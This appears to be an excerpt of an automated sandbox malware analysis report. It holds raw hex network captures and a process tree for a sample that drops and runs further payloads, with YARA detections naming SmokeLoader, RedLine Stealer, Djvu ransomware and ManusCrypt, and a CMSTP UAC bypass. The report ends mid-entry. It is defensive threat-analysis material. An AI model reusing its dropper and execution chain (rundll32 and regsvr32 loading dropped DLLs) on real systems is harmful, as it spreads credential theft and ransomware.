5GQ^zCuBk7\lwo9{H nv=Wlo=J>QC`d`VSii<B)L)kliQ.yyBm#[PnIxAKHE)t^K}_)ur4tXi+P\|LVe_+V=h^RWj'VjsFc2Ne
2022-08-30 13:56:45 UTC	1639	IN	Data Raw: 78 71 8d c1 28 95 49 4f c3 e3 2f 91 7d a4 58 79 f7 85 4a a7 6a a1 6f c6 73 b8 24 e6 64 f2 28 d5 38 46 bd af 63 f6 39 48 e1 d6 1b 82 b1 5a e8 95 d9 a7 a0 0d 0c 14 dc d6 cc 00 4f f0 1a 83 bf 8d b0 52 ef f1 3d fb 86 9a 75 a2 e9 b2 6b 8b 46 7d e4 d4 48 a3 e3 5f 25 fb 62 87 f5 73 0b a6 68 f5 34 c9 93 0d 32 ef 71 b2 46 a8 34 e1 ad d4 ff 23 98 d5 bb 9d d2 c2 7d a3 75 ad 6c 8a 43 c6 04 ad 62 ae 0f a7 6a a4 e9 72 51 a5 69 ab 62 9f 3a 14 da e3 4f b2 7f a4 69 b5 7c c2 6a 8f 40 f4 4e b7 7d ac 12 a2 36 ac 4d b2 7f a6 6c d4 6a a7 30 fc 2c 85 7b 87 51 c8 01 a9 61 80 4d af 63 ba 18 ca 66 b2 77 a1 6b c9 fb 36 6b ea 49 a7 6e b9 6f 96 2b c4 6a ab 70 bc 70 80 50 ce 0e 94 3d 50 9c e9 55 b2 0f c9 54 85 77 ab 6c b1 6a d5 69 c7 08 a7 16 db 29 96 7d ca 03 b2 7b c6 7b f3 58 81 4c Data Ascii: xq(IO/}XyJjos$d(8Fc9HZOR=ukF}H_%bsh42qF4#}ulCbjrQib:Oi\|j@N}6Mlj0,{QaMcfwk6kIno+jppP=PUTwlji)}{{XL
2022-08-30 13:56:45 UTC	1643	IN	Data Raw: 5c d4 17 e0 8f 04 a4 de a3 ea 37 88 28 54 1d d6 b5 a6 6a a7 fb 1d ce 8f 51 5f e3 ee 69 8e cf f5 76 74 37 2e fc 36 a9 2a 0c 44 22 e6 9b 7c a0 0b ea eb ed 5d 50 d6 02 35 ae af 72 75 22 a8 ef ed a0 27 48 0e b2 f5 2e e2 62 ab 63 08 a7 01 13 04 59 b0 35 bf 1a 56 88 50 85 cf 81 2b 66 6e e2 e3 2d 72 f0 e8 24 2c ed 65 13 78 40 24 b7 bb d8 a7 6a 6b 90 26 af 2f 22 b3 2d b9 6a 2d e4 a2 e3 62 63 ee 68 e0 21 6a 20 e3 e7 9f f4 00 ab 6f 20 e0 a9 61 e8 20 af 7f f8 9f 80 d8 cc 86 b9 d1 a9 eb e5 6e 2f ef 90 9c 78 a6 6f a1 f4 a8 6a a7 ab e2 ab 72 12 a3 1f fc 16 65 92 e2 15 85 97 77 24 62 af 6b 6a 11 36 98 ec 43 af 66 02 c3 c2 82 47 ba 68 a7 dd 62 6a 26 56 1b 28 1a 51 66 af cf 6e ab 39 51 ef e6 ac fc 45 4d c4 11 67 a7 ae 8c f9 5e 0a af de df 0e 92 37 f0 05 ca 5a 64 0e 03 8c Data Ascii: \7(TjQ_ivt7.6*D"\|]P5ru"'H.bcY5VP+fn-r$,ex@$jk&/"-j-bch!j o a n/xojrew$bkj6CfGhbj&V(Qfn9QEMg^7Zd
2022-08-30 13:56:45 UTC	1649	IN	Data Raw: c4 cb a8 64 aa 7c 70 65 0e 01 6a 65 a9 67 72 0e 1a 83 4e 65 48 46 6b 66 1b 65 d8 a7 8a 87 a8 64 aa 8a f8 ad 1e 41 8c 65 a8 a7 ab 48 32 91 ea a7 72 6a ba a2 9a 97 ab ba 9f f9 1d f5 39 64 a8 66 80 f5 d3 ab 66 ef e3 64 a8 66 77 01 d0 a7 e9 e5 82 4f aa a6 d1 1c 6a c3 ce 62 5a 53 aa 82 8e 65 10 1f a8 64 aa 3e 4e b3 c2 a7 e2 4f 0b 06 2a 47 a6 0b 0a 24 08 43 8e 46 da aa d7 a7 ca e7 88 90 be 46 be 13 0b 12 be c6 8a 46 93 e0 dc af 6a 63 ce c6 6b 18 d5 a7 60 5a fd c7 b6 1a 0a 66 aa a7 27 bf 5f c7 9a 37 0b f6 da 47 85 28 0a 5f b7 e2 0b 56 7a 47 93 9f 4b 25 de 74 ef 27 6a 65 a8 a7 68 66 ca c5 31 ed 9a 47 06 ab 0a 46 be e2 fa 47 d7 11 01 c7 0b 85 e9 87 8a e5 ec 63 6a 6b b2 75 4c cb 06 47 ce ca c3 43 8e c0 df a5 3a 47 44 42 c1 de 13 c6 5b 77 8a 07 8e 2f a6 a7 26 8b 0b Data Ascii: d\|pejegrNeHFkfedAeH2rj9dffdfwOjbZSed>NO*G$CFFFjck`Zf'_7G(_VzGK%t'jehf1GFGcjkuLGC:GDB[w/&
2022-08-30 13:56:45 UTC	1654	IN	Data Raw: 2e b1 8c 57 64 87 75 ce 30 a5 3e f3 7c b0 65 d7 14 b1 14 64 c1 b1 7d a8 fc 3f 7c cd 16 b1 bc 67 6d a0 57 a8 5a a5 ce cb a7 a2 78 f5 2a a0 9f 66 5a af 61 93 5c 91 5e a9 64 a4 e5 2b 49 85 6c ca 35 ca 30 a5 fe 33 61 ad 6c 70 ba ac cd a0 c1 ac 60 a1 8e 44 61 6c aa ac 91 57 6d c0 88 13 5e a5 ba 77 61 ad 6c f0 94 3e 5d 6c a1 ac 60 a1 b5 7f 61 50 96 ac 64 a3 6c 49 83 ac 71 49 91 a2 9a 96 ab a0 75 87 50 a5 4a 07 ef 23 e8 c4 37 a3 51 a5 46 0b ef 23 e8 e5 9b 2d 52 a5 26 6b ef 23 e8 f9 b7 22 39 91 8a 22 ee 25 0d 43 ef d2 9a 22 1f d6 eb 24 f0 05 53 a5 3a 32 aa b6 7e 07 4a 24 b8 f6 eb c6 cd 65 1d d5 eb 25 f9 0b d6 74 b9 36 fa 25 d9 ba 47 22 c7 8f ef 23 e8 75 3b 22 d3 9b ef 20 08 c7 e9 ef 1c 98 68 6b 26 22 ae e7 e8 09 85 e7 68 7f 32 22 ee 25 33 46 51 22 93 db ef 23 e8 Data Ascii: .Wdu0>\|ed}?\|gmWZx*fZa\^d+Il503alp`DalWm^wal>]l`aPdlIqIuPJ#7QF#-R&k#"9"%C"$S:2~J$e%t6%G"#u;" hk&"h2"%3FQ"#
2022-08-30 13:56:45 UTC	1658	IN	Data Raw: 4e 47 38 1f ee aa 38 fe e2 47 16 bb 0a 46 8e 43 8b cd 8c 4f 0f 06 2a 47 da 73 0f 47 8b 81 0e 8a e5 4c 7b bb 6c 8f a2 47 1e 84 5d c7 8b 69 a4 46 f1 5c 0b e6 4a d4 9d ea 23 47 58 e5 79 f0 6a 73 8a f3 5f c7 40 ec 30 7c 8b d3 7a c2 17 3b 8a b6 0a c3 9c 6d 77 73 8a 7d d0 c7 0e d4 7b c5 0e 7b 56 47 e8 57 78 9f 52 c6 ef 62 cb 47 17 5e ed a4 16 bb 0b 26 2b 86 8a d8 93 22 69 33 9f c7 8b 47 ca 41 a5 2d 69 0f a2 c6 23 0f 8a e5 f8 17 0a 6f 5a 5a 6f 46 8b ff 3c 23 00 85 c8 c6 8a 46 05 43 e2 a4 cf 63 31 ed fa 47 fd bc 85 c5 f3 df 8a 07 29 d1 fc a4 52 ff 0d 44 6e 47 0a 47 7c 32 69 ff 52 c6 8a 46 74 b3 f7 53 08 86 aa 47 6a 3e f0 a4 4c a1 aa 45 89 46 d5 82 90 fd 53 a2 c8 03 aa 87 8a be e8 df 0a ac 02 47 06 db e7 59 15 5a 8b ee 43 c6 0a cb 2b 7e 1f 47 ef 46 0f 2e 02 47 51 Data Ascii: NG88GFCO*GsGL{lG]iF\J#GXyjs_@0\|z;mws}{{VGWxRbG^&+"i3GA-i#oZZoF<#FCc1G)RDnGG\|2iRFtSGj>LEFSGYZC+~GF.GQ
2022-08-30 13:56:45 UTC	1660	IN	Data Raw: 38 83 1a 34 c9 97 6f d3 3e 16 8e d7 85 74 52 a3 96 5e 5f 95 98 27 1a 21 d1 9e 6e 4b 93 02 da 37 8a d7 cd 30 5a d7 06 bd ee 25 1b d6 31 c2 50 a3 ea 97 da f2 4e d6 36 4b da 3b 46 17 0a b7 1a 1c 1c 5a 5a 83 fe 17 1b d6 1d 91 1b 86 cb 17 5f e3 1b 33 4e 17 0a 77 da d6 1b c1 4e 80 bc 35 23 bf 1a a1 2f 54 d3 de 1b b6 d7 7a 1a 01 fc 97 1b 7f 6b 7f 1a 18 e5 97 0f 73 d2 6e da d7 3f b6 1e 95 98 8a ef ca 2f d7 c2 3f 5a 1b 26 55 19 d6 35 bd b7 3b 6e 6b 17 16 1a d7 08 83 5f fc 18 99 7e d7 b3 4e 5a 16 d8 78 c6 d7 51 4a fb 50 dc 91 79 b8 26 d7 d9 24 5a 56 8a ac c4 63 1a 58 a5 97 db 08 78 e3 26 97 5e 57 aa 97 92 2f 1e d2 1b 05 81 4f 7b 2e 4e bc 6c 03 be d7 8e 73 5a fc 00 94 19 d6 91 ec da 96 5e 5e e6 d7 67 40 ca de 5c be 06 d7 06 fb 5a 96 59 d4 1b b3 55 c7 d2 10 02 fb 1a Data Ascii: 84o>tR^_'!nK70Z%1PN6K;FZZ_3NwN5#/Tzksn?/?Z&U5;nk_~NZxQJPy&$ZVcXx&^W/O{.NlsZ^^g@\ZYU

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 6960, Parent PID: 5280

General

Target ID:	0
Start time:	15:53:18
Start date:	30/08/2022
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	297472 bytes
MD5 hash:	576227815616E27EC0043A1BD3AF5A26
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.388828399.00000000009D0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.388828399.00000000009D0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.388881191.00000000009F1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.388881191.00000000009F1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.388959741.0000000000A38000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.388745923.0000000000930000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 7028, Parent PID: 564

General

Target ID:	1
Start time:	15:53:22
Start date:	30/08/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6ffff0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 3324, Parent PID: 6960

General

Target ID:	2
Start time:	15:53:26
Start date:	30/08/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff69bc80000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000002.00000000.375518696.0000000002951000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000002.00000000.375518696.0000000002951000.00000020.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 4676, Parent PID: 564

General

Target ID:	7
Start time:	15:53:59
Start date:	30/08/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6ffff0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 6696, Parent PID: 564

General

Target ID:	8
Start time:	15:54:10
Start date:	30/08/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff611480000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: viiivdwPID: 6756, Parent PID: 1084

General

Target ID:	11
Start time:	15:54:12
Start date:	30/08/2022
Path:	C:\Users\user\AppData\Roaming\viiivdw
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\viiivdw
Imagebase:	0x400000
File size:	297472 bytes
MD5 hash:	576227815616E27EC0043A1BD3AF5A26
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000B.00000002.431811322.0000000000A78000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.431544123.00000000009E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000B.00000002.431544123.00000000009E0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.431633952.0000000000A11000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000B.00000002.431633952.0000000000A11000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000B.00000002.431428387.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5312, Parent PID: 564

General

Target ID:	13
Start time:	15:54:27
Start date:	30/08/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6ffff0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: 6D2B.exePID: 6660, Parent PID: 3324

General

Target ID:	14
Start time:	15:54:32
Start date:	30/08/2022
Path:	C:\Users\user\AppData\Local\Temp\6D2B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\6D2B.exe
Imagebase:	0x400000
File size:	815616 bytes
MD5 hash:	063D932BB78AE11F67A5B1B929B0B16D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PrivateLoader, Description: Yara detected PrivateLoader, Source: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000E.00000002.651052165.0000000002EAB000.00000040.00000800.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 62%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 6968, Parent PID: 564

General

Target ID:	15
Start time:	15:54:39
Start date:	30/08/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6ffff0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2064, Parent PID: 3324

General

Target ID:	16
Start time:	15:54:44
Start date:	30/08/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 /s C:\Users\user\AppData\Local\Temp\9602.dll
Imagebase:	0x7ff62def0000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 7040, Parent PID: 2064

General

Target ID:	17
Start time:	15:54:45
Start date:	30/08/2022
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	/s C:\Users\user\AppData\Local\Temp\9602.dll
Imagebase:	0xd90000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: ADFF.exePID: 7032, Parent PID: 3324

General

Target ID:	18
Start time:	15:54:49
Start date:	30/08/2022
Path:	C:\Users\user\AppData\Local\Temp\ADFF.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ADFF.exe
Imagebase:	0x400000
File size:	188416 bytes
MD5 hash:	AE9E2CE4CF9B092A5BBFD1D5A609166E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4764, Parent PID: 7032

General

Target ID:	19
Start time:	15:54:50
Start date:	30/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: ADFF.exePID: 5068, Parent PID: 7032

General

Target ID:	24
Start time:	15:54:56
Start date:	30/08/2022
Path:	C:\Users\user\AppData\Local\Temp\ADFF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ADFF.exe" -h
Imagebase:	0x400000
File size:	188416 bytes
MD5 hash:	AE9E2CE4CF9B092A5BBFD1D5A609166E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5240, Parent PID: 5068

General

Target ID:	25
Start time:	15:54:56
Start date:	30/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: D510.exePID: 3124, Parent PID: 3324

General

Target ID:	26
Start time:	15:54:59
Start date:	30/08/2022
Path:	C:\Users\user\AppData\Local\Temp\D510.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D510.exe
Imagebase:	0x400000
File size:	297472 bytes
MD5 hash:	4DD5B94AF732FDAA38C731E6AB39BFAD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000001A.00000002.543248453.00000000008A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001A.00000002.544007167.00000000009E8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001A.00000002.543359383.00000000008B0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000001A.00000002.543359383.00000000008B0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001A.00000002.543480502.00000000009B1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000001A.00000002.543480502.00000000009B1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001A.00000003.527933662.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Show Windows behavior

Chronological Activities

Analysis Process: WmiPrvSE.exePID: 4640, Parent PID: 788

General

Target ID:	28
Start time:	15:55:07
Start date:	30/08/2022
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff7b5bd0000
File size:	488448 bytes
MD5 hash:	A782A4ED336750D10B3CAF776AFE8E70
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 6536, Parent PID: 4640

General

Target ID:	29
Start time:	15:55:08
Start date:	30/08/2022
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open
Imagebase:	0x7ff6c5f60000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 6120, Parent PID: 6536

General

Target ID:	30
Start time:	15:55:08
Start date:	30/08/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open
Imagebase:	0x12c0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 0000001E.00000002.691846533.0000000000BF4000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_ManusCrypt, Description: Yara detected ManusCrypt, Source: 0000001E.00000002.691846533.0000000000BF4000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Generic_a681f24a, Description: unknown, Source: 0000001E.00000002.691846533.0000000000BF4000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 0000001E.00000002.673368366.0000000000B20000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_ManusCrypt, Description: Yara detected ManusCrypt, Source: 0000001E.00000002.673368366.0000000000B20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Fabookie, Description: Detects Fabookie / ElysiumStealer, Source: 0000001E.00000002.673368366.0000000000B20000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Trojan_Generic_a681f24a, Description: unknown, Source: 0000001E.00000002.673368366.0000000000B20000.00000004.00001000.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: FC9E.exePID: 240, Parent PID: 3324

General

Target ID:	31
Start time:	15:55:09
Start date:	30/08/2022
Path:	C:\Users\user\AppData\Local\Temp\FC9E.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\FC9E.exe
Imagebase:	0x400000
File size:	691200 bytes
MD5 hash:	5172CD2EDA6449DD6FE0479D404CF4BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000001F.00000002.570352201.0000000000546000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_PrivateLoader, Description: Yara detected PrivateLoader, Source: 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Socelars, Description: Yara detected Socelars, Source: 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML

Show Windows behavior

Chronological Activities

Analysis Process: FC9E.exePID: 5728, Parent PID: 4652

General

Target ID:	37
Start time:	15:55:19
Start date:	30/08/2022
Path:	C:\Users\user\AppData\Local\Temp\FC9E.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\FC9E.exe"
Imagebase:	0x400000
File size:	691200 bytes
MD5 hash:	5172CD2EDA6449DD6FE0479D404CF4BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000025.00000002.628413138.0000000000546000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_PrivateLoader, Description: Yara detected PrivateLoader, Source: 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Socelars, Description: Yara detected Socelars, Source: 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: 5449.exePID: 6352, Parent PID: 3324

General

Target ID:	38
Start time:	15:55:26
Start date:	30/08/2022
Path:	C:\Users\user\AppData\Local\Temp\5449.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\5449.exe
Imagebase:	0x400000
File size:	995328 bytes
MD5 hash:	4F6E39467946C2D389E2E990DA995094
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 31%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 1020, Parent PID: 6120

General

Target ID:	39
Start time:	15:55:29
Start date:	30/08/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff6ffff0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000027.00000003.773482472.000002E4A10A0000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_ManusCrypt, Description: Yara detected ManusCrypt, Source: 00000027.00000003.773482472.000002E4A10A0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Generic_a681f24a, Description: unknown, Source: 00000027.00000003.773482472.000002E4A10A0000.00000004.00000001.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000027.00000003.586330360.000002E4A0FA0000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_ManusCrypt, Description: Yara detected ManusCrypt, Source: 00000027.00000003.586330360.000002E4A0FA0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Generic_a681f24a, Description: unknown, Source: 00000027.00000003.586330360.000002E4A0FA0000.00000004.00000001.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000027.00000002.825615198.000002E4A1110000.00000040.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_ManusCrypt, Description: Yara detected ManusCrypt, Source: 00000027.00000002.825615198.000002E4A1110000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Chebka, Description: Detects Chebka, Source: 